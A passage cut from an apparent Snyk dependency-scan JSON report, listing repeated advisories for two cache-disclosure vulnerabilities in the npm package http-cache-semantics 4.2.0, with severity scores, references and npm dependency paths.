"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T16:08:12.818370Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:43.061830Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:35:25.324035Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n",
"epssDetails": {
"percentile": "0.35961",
"probability": "0.00445",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93750"
],
"CWE": [
"CWE-346"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:38:34.112334Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:47Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:38:34.322549Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T16:08:12.818370Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964068",
"title": "Improper Authorization",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/56",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:58:47.938684Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-19T01:30:44.071900Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T05:40:18.618146Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n",
"epssDetails": {
"percentile": "0.45545",
"probability": "0.00569",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-93748"
],
"CWE": [
"CWE-285"
]
},
"packageName": "http-cache-semantics",
"proprietary": false,
"creationTime": "2026-09-20T11:43:34.353521Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T19:43:53Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T11:43:34.521384Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:58:47.938684Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"http-cache-semantics@4.2.0"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "http-cache-semantics",
"version": "4.2.0"
},
{
"id": "SNYK-JS-HTTPCACHESEMANTICS-19964064",
"title": "Origin Validation Error",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Wayde Shi"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "http-cache-semantics",
"references": [
{
"url": "https://github.com/kornelski/http-cache-semantics/issues/57",
"title": "GitHub Issue"
},
{
"url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
